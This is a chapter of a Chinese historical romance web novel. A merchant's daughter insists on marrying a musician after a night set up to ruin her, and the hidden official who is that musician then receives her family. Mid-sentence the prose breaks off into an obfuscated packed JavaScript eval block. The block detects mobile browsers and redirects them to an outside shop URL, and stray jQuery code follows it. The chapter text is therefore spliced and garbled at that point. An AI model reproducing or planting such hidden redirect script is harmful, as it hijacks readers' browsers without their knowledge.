江南多烟雨,如雾如纱的细雨随着春风轻盈地飞扬着,多么惬意轻松。
反观飘着袅袅香烟的书房里,却一片乌云密布。
“你要嫁给一个乐师?”云舒的母亲阮氏只觉头晕眼花,缓了好一阵,才咬牙切齿地,又不得不压低声音说出这几个字。
且不说云舒昨晚并未同那顾公子发生任何实质性的关系,就是真的发生了点儿什么,她也有办法解决好这件事情,用不着云舒这般牺牲。
不可否认,这世间之人将女子的贞洁看得极重。
但她差点儿因为这种莫须有的规矩死过一次的人,早已将此看清。
不然,她早就被同族的长辈捆住手脚给那死去的前夫陪葬了。
可她已经从这等专门用来束缚住女子手脚的规矩中跳出来,为何她精心教养的女儿却如此愚昧?
云舒看着自己的母亲被气成这样,心里难受得紧,想上前给阮氏抚背,却在阮氏犀利的眼神中顿住了脚步。
要搁平时,她指定不会怕了母亲这般模样,可这次她错得太离谱,只能怂耷耷地站在原地。
阮氏:“说话!”
云舒抿抿唇,但还是点了点头,又瓮声瓮气地补充:“还得看人家愿不愿意呢。”
若是顾公子不愿意,她可不会做那等强迫之事。
当然了,云舒最希望的,还是能好聚好散。
阮氏一愣。
原来不是为了那所谓的贞洁,而是责任使然。
可转念想到女儿还要任凭一个奴籍乐师来做她的主意,阮氏再次怒急攻心。
忍无可忍,阮氏“轰”地一下站了起来,身后的凳子也因此被推出好长一段距离。
云舒被吓一跳,但想到自己犯下的错,又怂怂地低垂着脑袋站在了原地。
阮氏看着被自己捧在手心里娇养着长大的女儿没了往日的古灵精怪,心里一抽,疼得厉害,也瞬间冷静了下来。
云舒约温婉怡去壶中天相聚的事情并非秘密,只要有心打听,或多或少都能知道。
只是,她万万没有想到,扬州城里,竟然还有人敢把手伸进她姐姐的产业里。
足以见得,那人有多见不得她的舒儿好。
不然,也不会设下此等龌龊的局来害她的舒儿。
思及此,阮氏上前一步,用力抱住了蔫头搭脑的云舒,半老徐娘泪纵横,“我的儿,娘怎么可能让你受这等委屈。”
眼瞧着她的舒儿马上就要进京,而她的姐姐也来信说给舒儿说了门好亲事,就等着舒儿过去相看。
可在这种紧要关头,她的女儿却遭了此等横祸。
阮氏咬咬牙,和云舒如出一辙的狐狸眼中迸发出了浓烈的杀意。
她断不会让人毁了她女儿的大好前程。
云舒把脸埋在阮氏香香软软的胸脯前,感受着阮氏颤抖的身子,她的眼眶也开始微微发烫。
委屈吗?自然是委屈的。
毕竟若不是发生了这样的事情,她马上就能进京相看姨母给她说好的刑部右侍郎之子。
听闻对方虽刚刚极冠,但已中了进士,还被选为了庶吉士,入了翰林。
入翰林者,便意味着有朝一日能入内阁为相。
当然,就算将来对方入不了内阁,她若能和他相看成功,她也是得利者。
首先,有了这样一个在朝廷为官的亲家、女婿,云家也多了个强劲的靠山,在生意方面也能再少一些压迫。
其次,她将来的孩子不会再和她那文采斐然的哥哥一样,被排挤在科举制度之外。
最后,夫妇一体,夫婿封官进爵,或许某一天她也能和她的姨母一样,成为一品诰命夫人呢。
父母之爱子,则为之计深远。
她的父母为她考虑了许多,又都说外甥似舅,不管是为了弥补哥哥的遗憾,还是为了她将来的孩子打算,进京相看都是绝佳的选择。
可如今,她却没能抓牢这个机会,怎么可能不委屈呢?
但很委屈很委屈吗?也没有。
且不说顾公子的样貌身材样样都好,就说科举之道,除了商籍之外,其他的士、农、工皆可参与。
她什么都不多,就钱多。
若顾公子愿意,她完全可以花钱把顾公子的户籍更改为农或工。
成亲之后,若顾公子有心参加科举,她会全力支持;若不想,那她就把希望寄托在他们的孩子身上。
若顾公子要同她好聚好散,那就更好办了。
她可是扬州城的小地头蛇,寻摸一个靠谱又上进的夫婿还是非常容易的。
届时,夫婿封官进爵,嘿嘿嘿。
越想,云舒越觉得这个规划不错,积压在心底里的那些乌云密布也渐渐得以退散。
诶诶诶,她怎么就这么聪明呢?
云舒说得头头是道,还把自己给说灿烂了,蔫耷耷的漂亮小脸蛋也高昂了起来。
可云母阮氏却坚决不同意。
就像云舒说的那样,他们家什么都不多,就数钱最多。
既如此,何不花钱帮那顾乐师赎了身,然后再将顾乐师送得远远的,比如送到海对面的碧眼国。
只要不让那顾乐师,以及他身边的知情者再踏足邺朝,只要将设此局陷害云舒的人全部都清理干净,那邺朝便不会再有人得知昨晚发生在云舒身上的事情。
如此一来,云舒自然就能安安稳稳地进京寻觅一门一蹴而就的好亲事,用不着绕这么大个圈子。
云舒却摇了摇头:“这样不妥。”
明明是她跑到顾公子的厢房的,是她占了对方的便宜才是。
既然现如今她成了施害者,就不该高高在上地用钱去压人。
再者说,顾公子是活生生的人,并非什么物件,他们要做的第一件事情就是尊重顾公子的意愿。
知女莫若母,阮氏不等云舒把剩下的话说完,就低声呵斥道:“闭嘴。”
明明有现成的通天大道可以走,她又怎么舍得让自己的女儿这么辛苦?
然,这次,云舒却没有乖乖闭嘴。
在阮氏警告的目光下,云舒义正言辞地说道:“娘亲,您曾不止一次教导我:‘立身于世,一诺既出,驷马难追[1]。’女儿也一直将之奉为圭臬,不曾逾越半步。平素里,您和爹爹亦是如此。可今日,您为何要出尔反尔?”
阮氏闻言,嘴巴张了又合,全然不知该如何反驳。
看着一脸固执的云舒,阮氏头疼不已。
平日里,云舒虽然总是一副乖巧软和的模样,但她知道,在这种责任感的事情上,云舒向来是一根筋。
记得那年云舒才五岁,明明只是豆丁儿大点的人儿,在她聘养的狸奴意外离世后,却坚持要为这只狸奴守哀,只因她从旁人的口中得知,只要狸奴的主人愿意为过世的狸奴守哀一年,那这只狸奴转世投身后,就能衣食无忧平安顺遂地过完一辈子。
明知是无从考究的话,可云舒还是老老实实地为她这只狸奴守了一年整的哀,不管谁劝谁哄都没用。
因为长期不吃肉,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035329|194618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年她的小云舒瘦得连脸颊上的小软肉都消失不见了。
回忆起这件事,阮氏又是心疼又是无奈。
如今再在云舒的脸上看到如出一撤的表情,阮氏压了压抽痛的太阳穴,忍不住长叹了一声,“不后悔?”
云舒抿了抿唇。
她后悔过的。
但现在她看到了新的希望,就不后悔了,也不愿再去后悔。
定了定神,云舒坚定地说道:“不后悔。”
阮氏又是一声长叹,“就算今后会被罗家老六奚落,你也不后悔?”
云舒心里一梗。
但很快,云舒就又高昂起小脸蛋来,无比理直气壮,“她还有脸来奚落我?她要敢来,我定会教她重新做人!”
阮氏没辙了,好气又无奈地点了点云舒的眉心,“犟种!”
云舒敏锐地感受到阮氏的态度松动了,立刻拉着阮氏的衣袖晃了晃,生动形象地从犟种切换成了小软糕,“娘亲。”
娇娇软软的一声娘亲,阮氏听得心里一软。
不过,她还是狠心地把云舒推出了自己的怀,并郑重表明自己的态度:“若那顾乐师不是个好的,娘还是会把他送走。”
至于走向哪?那就要看顾乐师坏到什么程度了。
云舒很想说,顾公子不是坏人。
虽然不知自己为何会生出这样的念头,明明她和顾公子不熟,但她就是这么认为的。
不过对上阮氏那寸步不让的眼神,云舒这次不得不妥协。
毕竟母亲吃过的盐比她吃过的米都多,而她的直觉并没有证据依托,所以如果母亲真的查出顾公子是个坏的,昨晚的事情是他设局害她,那她定然会听母亲的,不会养虎为患。
阮氏见云舒这次虽然固执,但依旧明事理,心里狠狠地松了口气。
既如此,待孩子他爹回来,确认对方是无辜的,那就去看看女儿口中的顾乐师到底是何方神圣罢。
·
酉时末。
万家灯火通明时,一辆低调的马车悄悄地驶入了壶中天的后院。
此举,自是没有引起旁人的注意,但身为壶中天现任东家的裴玄瑾却在第一时间得到了消息。
裴十九心惊肉跳:“公子,属下这就去把他们拦下?”
裴玄瑾此次离京办案是秘密行动。
虽说已经把恭亲王驯养扬州瘦马的案件办妥,但恭亲王的罪证远不止这些,想彻底扳倒恭亲王,这点证据也远远不够。
但这次他们闹出来的动静太大,已经打草惊蛇,若还想继续搜罗恭亲王的其他罪证,那不仅顾公子顾乐师是裴玄瑾这件事情不能暴露,裴玄瑾的真实身份更加不能暴露,毕竟只有站在暗处,才能做到出其不意。
可若是裴玄瑾不暴露他的真实身份,又能用何种办法稳住主母的娘家人呢?毕竟这可是涉及到表姑娘的名声。
裴玄瑾负手立于窗前,看着虽戴了幕篱却依旧遮挡不住曼妙身姿的人儿,鼻尖忽而好像再次闻到那股清甜花香。
裴玄瑾的神色忽地一凛,手中的佛珠也被他捏碎了一颗。
裴十九察觉到此番动静,心肝也跟着颤了颤。
跟了裴玄瑾这么久,他还是第一次在裴玄瑾的身上看到波动如此剧烈的情绪。
裴十九欲言又止:“公子?”
所以,他家公子到底见不见他们呢?
裴玄瑾回神,缓缓松手,任由碎裂的佛珠化成一团粉末消失在这片夜色中后,才状若漫不经心地说:“请他们上来罢。”